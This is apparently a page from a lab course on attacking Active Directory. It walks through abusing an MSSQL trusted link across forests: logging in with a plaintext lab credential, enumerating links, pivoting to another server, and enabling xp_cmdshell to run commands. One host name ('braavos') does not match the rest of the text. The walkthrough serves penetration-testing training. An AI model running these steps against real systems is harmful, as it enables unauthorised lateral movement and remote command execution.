> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/trust/forest-trust-newyork.local-greater-than-maryland.local/mssql-trusted-link.md).

# Mssql Trusted link

* The MSSQL trust link is across forest, so it can be used to make forest to forest exploitation.
* Example was done in part 7 but let’s redo this for fun :
* Connect to the mssql DB as elena.lopez

```
mssqlclient.py -windows-auth north.newyork.local/elena.lopez:princesa1@Yonkers.north.newyork.local
```

* enumerate the mssql trusted links

```
enum_links
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FhgQFZZ7OKQsUKwJlZV1l%2Fimage.png?alt=media&amp;token=92d9b4b0-8f55-49b5-8e98-77e8bd8e318d" alt=""><figcaption></figcaption></figure>

* And now use the link from Yonkers (north domain) to Salisbury (Maryland domain)

```
use_link SALISBURY
enable_xp_cmdshell
xp_cmdshell whoami
```

* Because the link use sa as remote login on braavos we can enable cmd and launch command.

<figure><img src="https://mayfly277.github.io/assets/blog/GOAD/trust_forest_mssql_exec.png" alt=""><figcaption></figcaption></figure>

<br>